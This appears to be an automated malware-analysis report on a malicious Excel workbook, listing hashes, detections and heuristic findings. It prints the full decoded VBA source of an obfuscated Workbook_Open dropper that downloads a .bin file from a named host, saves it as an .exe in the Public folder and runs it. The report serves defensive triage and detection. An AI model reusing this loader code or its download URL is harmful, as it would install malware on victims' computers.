Office (OOXML) malware analysis — malicious · 58d6ec5c80343f2d

MALICIOUS

Office (OOXML)

223.8 KB First seen: 2020-09-07

MD5: 7f0983e521913f83b0df18f872c4f63e SHA-1: 8074b7436c1c2757544ed7d2999159cdc08c4f44 SHA-256: 58d6ec5c80343f2d86e82edee47cf2912310beb1fc0f128ce7d6723dce1c933a

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer

The VBA macro contains an obfuscated Workbook_Open subroutine that attempts to download a file from the URL http://smarting.rs/wp-content/alb_mPcwI58.bin using CreateObject and save it to disk. This behavior is indicative of a downloader or dropper malware.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
szvrvkksljvxxlodklkjlgkhiflndurnrfzwpnfdhffyhlanlcxovsxlpojpzxpqrifrmrnwggbgbmzxexcaxdsyhnhbeqekppgz.write kptmyhfmgtkczbsmnyeaewxiinspziraehrajdkvymdetqrgjyuycnaorldkpqmybkxrkrdknjcrstorwlfansyqhdjxzzghafcj.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set kptmyhfmgtkczbsmnyeaewxiinspziraehrajdkvymdetqrgjyuycnaorldkpqmybkxrkrdknjcrstorwlfansyqhdjxzzghafcj = CreateObject(adidafsnmntcjnjpryninpmmwketoeaxxnqqhnuuorlovffyzv("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set kptmyhfmgtkczbsmnyeaewxiinspziraehrajdkvymdetqrgjyuycnaorldkpqmybkxrkrdknjcrstorwlfansyqhdjxzzghafcj = CreateObject(adidafsnmntcjnjpryninpmmwketoeaxxnqqhnuuorlovffyzv("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6626 bytes
SHA-256: `dfbd61d42cb05c58a56aed87b8cc8c6faeb28f25c3c0a7db042c72aa99a0048d`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select pqokogjnipkhtbowfnstcdpfglzauvastfajxplrlkjqfprjizvunuembjedgitnpsonafzpbahrtyaruqruzgeyboiolilcrwbn"68 74 74 70 3A 2F 2F 73 6D 61 72 74 69 6E 67 2E 72 73 2F 77 70 2D 63 6F 6E 74 65 6E 74 2F 61 6C 62 79 5F 6D 50 63 77 69 49 35 38 2E 62 69 6E" Selection.Font.ColorIndex = 3 End Sub Public Sub pqokogjnipkhtbowfnstcdpfglzauvastfajxplrlkjqfprjizvunuembjedgitnpsonafzpbahrtyaruqruzgeyboiolilcrwbn (qcewhafuscapzjnhlambrxjttajcmkzwiexmcljckdprhrkgndhvxxhttldhqchiddgvmbeaqkqnirlbpdpjddzkxesribliwhne As String) Dim kptmyhfmgtkczbsmnyeaewxiinspziraehrajdkvymdetqrgjyuycnaorldkpqmybkxrkrdknjcrstorwlfansyqhdjxzzghafcj Range("A6:J13").Select Dim szvrvkksljvxxlodklkjlgkhiflndurnrfzwpnfdhffyhlanlcxovsxlpojpzxpqrifrmrnwggbgbmzxexcaxdsyhnhbeqekppgz Range("A6:J13").Select Dim fiatoahorrkdomkbuptoqhjzkmsqcqqmfarwxjmwvdhqcdnsfdpavrjyybibirmbayxouodlcwtmztwgzzkyapqoqsxvakodrfpe Range("A6:J13").Select Set kptmyhfmgtkczbsmnyeaewxiinspziraehrajdkvymdetqrgjyuycnaorldkpqmybkxrkrdknjcrstorwlfansyqhdjxzzghafcj = CreateObject(adidafsnmntcjnjpryninpmmwketoeaxxnqqhnuuorlovffyzv("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set kptmyhfmgtkczbsmnyeaewxiinspziraehrajdkvymdetqrgjyuycnaorldkpqmybkxrkrdknjcrstorwlfansyqhdjxzzghafcj = CreateObject(adidafsnmntcjnjpryninpmmwketoeaxxnqqhnuuorlovffyzv("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set kptmyhfmgtkczbsmnyeaewxiinspziraehrajdkvymdetqrgjyuycnaorldkpqmybkxrkrdknjcrstorwlfansyqhdjxzzghafcj = CreateObject(adidafsnmntcjnjpryninpmmwketoeaxxnqqhnuuorlovffyzv("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set kptmyhfmgtkczbsmnyeaewxiinspziraehrajdkvymdetqrgjyuycnaorldkpqmybkxrkrdknjcrstorwlfansyqhdjxzzghafcj = CreateObject(adidafsnmntcjnjpryninpmmwketoeaxxnqqhnuuorlovffyzv("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set szvrvkksljvxxlodklkjlgkhiflndurnrfzwpnfdhffyhlanlcxovsxlpojpzxpqrifrmrnwggbgbmzxexcaxdsyhnhbeqekppgz = CreateObject(adidafsnmntcjnjpryninpmmwketoeaxxnqqhnuuorlovffyzv("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set fiatoahorrkdomkbuptoqhjzkmsqcqqmfarwxjmwvdhqcdnsfdpavrjyybibirmbayxouodlcwtmztwgzzkyapqoqsxvakodrfpe = CreateObject(adidafsnmntcjnjpryninpmmwketoeaxxnqqhnuuorlovffyzv("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) xbohmcrxchhiaxqbmzokjqdsuonwfdmkcqjrajmakdphivkmqafnxvzgxwnyovszvwgjoyacnozgawkzeagfxyngqcuewolplqml = adidafsnmntcjnjpryninpmmwketoeaxxnqqhnuuorlovffyzv(qcewhafuscapzjnhlambrxjttajcmkzwiexmcljckdprhrkgndhvxxhttldhqchiddgvmbeaqkqnirlbpdpjddzkxesribliwhne) obyrzcajvtfblnuoombwjzsldwgzckukjzkccogvyelwwtsiuxazopboimncvaglzvrmdrlzfgxfovokdyefjvvtxwuqaezxxaxb = adidafsnmntcjnjpryninpmmwketoeaxxnqqhnuuorlovffyzv("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6C 73 6A 74 7A 6B 72 77 67 2e 65 78 65") bgfcmatiswanxdyxvbbdzxogwvzbhzhoxnixtcsicnbbwhsxfccwytberygrbrasolpkubdtitbmvmkpcbwfxlpdmefvvbgkmjnk = adidafsnmntcjnjpryninpmmwketoeaxxnqqhnuuorlovffyzv("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6C 73 6A 74 7A 6B 72 77 67 2e 65 78 65") kptmyhfmgtkczbsmnyeaewxiinspziraehrajdkvymdetqrgjyuycnaorldkpqmybkxrkrdknjcrstorwlfansyqhdjxzzghafcj.Open chr(71) + chr(69) + chr(84), xbohmcrxchhiaxqbmzokjqdsuonwfdmkcqjrajmakdphivkmqafnxvzgxwnyovszvwgjoyacnozgawkzeagfxyngqcuewolplqml, False kptmyhfmgtkczbsmnyeaewxiinspziraehrajdkvymdetqrgjyuycnaorldkpqmybkxrkrdknjcrstorwlfansyqhdjxzzghafcj.send szvrvkksljvxxlodklkjlgkhiflndurnrfzwpnfdhffyhlanlcxovsxlpojpzxpqrifrmrnwggbgbmzxexcaxdsyhnhbeqekppgz.Type = 1 szvrvkksljvxxlodklkjlgkhiflndurnrfzwpnfdhffyhlanlcxovsxlpojpzxpqrifrmrnwggbgbmzxexcaxdsyhnhbeqekppgz.Open szvrvkksljvxxlodklkjlgkhiflndurnrfzwpnfdhffyhlanlcxovsxlpojpzxpqrifrmrnwggbgbmzxexcaxdsyhnhbeqekppgz.write kptmyhfmgtkczbsmnyeaewxiinspziraehrajdkvymdetqrgjyuycnaorldkpqmybkxrkrdknjcrstorwlfansyqhdjxzzghafcj.responseBody szvrvkksljvxxlodklkjlgkhiflndurnrfzwpnfdhffyhlanlcxovsxlpojpzxpqrifrmrnwggbgbmzxexcaxdsyhnhbeqekppgz.savetofile obyrzcajvtfblnuoombwjzsldwgzckukjzkccogvyelwwtsiuxazopboimncvaglzvrmdrlzfgxfovokdyefjvvtxwuqaezxxaxb, 2 fiatoahorrkdomkbuptoqhjzkmsqcqqmfarwxjmwvdhqcdnsfdpavrjyybibirmbayxouodlcwtmztwgzzkyapqoqsxvakodrfpe.Run bgfcmatiswanxdyxvbbdzxogwvzbhzhoxnixtcsicnbbwhsxfccwytberygrbrasolpkubdtitbmvmkpcbwfxlpdmefvvbgkmjnk End Sub Public Function adidafsnmntcjnjpryninpmmwketoeaxxnqqhnuuorlovffyzv(ByVal gzxqzexyxxyffbcignakijxcrilsiqvudraacuzwrrqttspyhgwdffwxbvzrtfqhbecobcgmoesqsdizsmkctsoyvcyguhdmbjsp As String) As String Dim pbxfzjoamgeymayguonjpdsydzrhbgojltjqofckdnmoyatuiwrmvizmiybashzfrvmtrirpmdfbreadfxyeobncuxhqdbswogxc As String Dim nacaecasdxueyyvuiurphkzuablklinlgxpfuyalbvzwccregxntpivdaizcqphujiybiqakufollcrxkhenvuwybmelyxuloenu As String Dim eqwqxczjujryrbsjltzpmazvmomwkcxgpxtukoqsumdrvfuwflzvfxheqaejqdzrmlitiyyxdhuzwhagtpqzccbsppdkkgbrnmfj As Long For eqwqxczjujryrbsjltzpmazvmomwkcxgpxtukoqsumdrvfuwflzvfxheqaejqdzrmlitiyyxdhuzwhagtpqzccbsppdkkgbrnmfj = 1 To Len(gzxqzexyxxyffbcignakijxcrilsiqvudraacuzwrrqttspyhgwdffwxbvzrtfqhbecobcgmoesqsdizsmkctsoyvcyguhdmbjsp)Step 3 pbxfzjoamgeymayguonjpdsydzrhbgojltjqofckdnmoyatuiwrmvizmiybashzfrvmtrirpmdfbreadfxyeobncuxhqdbswogxc = Chr$(Val("&H" & Mid$(gzxqzexyxxyffbcignakijxcrilsiqvudraacuzwrrqttspyhgwdffwxbvzrtfqhbecobcgmoesqsdizsmkctsoyvcyguhdmbjsp, eqwqxczjujryrbsjltzpmazvmomwkcxgpxtukoqsumdrvfuwflzvfxheqaejqdzrmlitiyyxdhuzwhagtpqzccbsppdkkgbrnmfj, 2))) nacaecasdxueyyvuiurphkzuablklinlgxpfuyalbvzwccregxntpivdaizcqphujiybiqakufollcrxkhenvuwybmelyxuloenu = nacaecasdxueyyvuiurphkzuablklinlgxpfuyalbvzwccregxntpivdaizcqphujiybiqakufollcrxkhenvuwybmelyxuloenu & pbxfzjoamgeymayguonjpdsydzrhbgojltjqofckdnmoyatuiwrmvizmiybashzfrvmtrirpmdfbreadfxyeobncuxhqdbswogxc Next eqwqxczjujryrbsjltzpmazvmomwkcxgpxtukoqsumdrvfuwflzvfxheqaejqdzrmlitiyyxdhuzwhagtpqzccbsppdkkgbrnmfj adidafsnmntcjnjpryninpmmwketoeaxxnqqhnuuorlovffyzv = nacaecasdxueyyvuiurphkzuablklinlgxpfuyalbvzwccregxntpivdaizcqphujiybiqakufollcrxkhenvuwybmelyxuloenu End Function Attribute VB_Name = "rhdeyiofsoienqoavvudvlypv" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `80fe123088a83faeb46ac735c60ad2f7532b593d1673f9e07ba72c72f0b1ea98`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 123 of 215 identifiers look randomly generated (e.g. 'BFAED6B2D6B2D2B6D2B6') — consistent with name-mangling obfuscation.

Open this report in the interactive analyzer, or submit your own file for analysis.